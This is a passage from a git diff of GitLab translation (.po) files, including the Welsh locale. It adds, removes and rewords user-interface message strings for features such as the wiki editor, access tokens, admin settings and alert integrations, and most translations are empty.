msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -36275,9 +36083,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -36287,9 +36092,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -36371,9 +36182,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36463,6 +36271,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36481,9 +36292,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36517,6 +36325,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36586,7 +36397,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36727,7 +36541,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36859,6 +36673,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -37159,6 +36976,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -37168,6 +36994,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -37370,7 +37199,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37391,6 +37220,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37406,16 +37238,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37430,10 +37262,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37703,6 +37541,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37742,9 +37583,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37922,21 +37760,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -38000,9 +37835,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -38162,12 +37994,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -38195,18 +38021,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -38219,12 +38039,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -38294,12 +38108,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -38384,6 +38204,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38393,6 +38216,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38487,6 +38313,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38544,12 +38373,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38574,6 +38412,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38592,9 +38433,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38899,6 +38737,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38989,6 +38830,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -39072,9 +38916,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39464,6 +39305,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39500,9 +39344,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39563,7 +39404,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39644,7 +39485,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39707,6 +39551,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -40000,6 +39847,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -40102,6 +39952,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/cy_GB/gitlab.po b/locale/cy_GB/gitlab.po
index 66e91f214df..8149a84fd3b 100644
--- a/locale/cy_GB/gitlab.po
+++ b/locale/cy_GB/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: cy\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:18\n"
+"PO-Revision-Date: 2021-07-01 20:59\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr " %{start} i %{end}"
@@ -97,6 +94,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -415,15 +415,6 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -673,6 +664,36 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -724,6 +745,15 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -922,10 +952,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -1105,6 +1135,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -1138,9 +1171,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1273,12 +1303,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1309,6 +1333,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1900,9 +1927,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1963,18 +1987,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -2179,13 +2194,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -2203,16 +2218,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -2332,6 +2347,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -2341,6 +2359,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -2404,6 +2425,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2530,6 +2554,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2764,9 +2791,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2779,19 +2803,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2803,7 +2830,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2812,10 +2839,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -3226,9 +3250,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3451,12 +3487,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3583,9 +3625,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3652,6 +3691,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3811,9 +3853,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3886,9 +3925,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3940,6 +3976,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -4030,6 +4069,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -4186,9 +4228,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4465,9 +4504,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4573,15 +4609,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4975,9 +5005,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -5170,9 +5197,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5560,6 +5584,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5710,6 +5737,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5773,6 +5803,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5803,6 +5836,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -6025,6 +6061,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -6193,6 +6232,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -6244,10 +6286,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -6292,6 +6334,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6415,9 +6460,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6523,15 +6565,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6808,6 +6850,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6910,9 +6955,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6940,6 +6982,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -7369,9 +7414,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7381,24 +7423,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
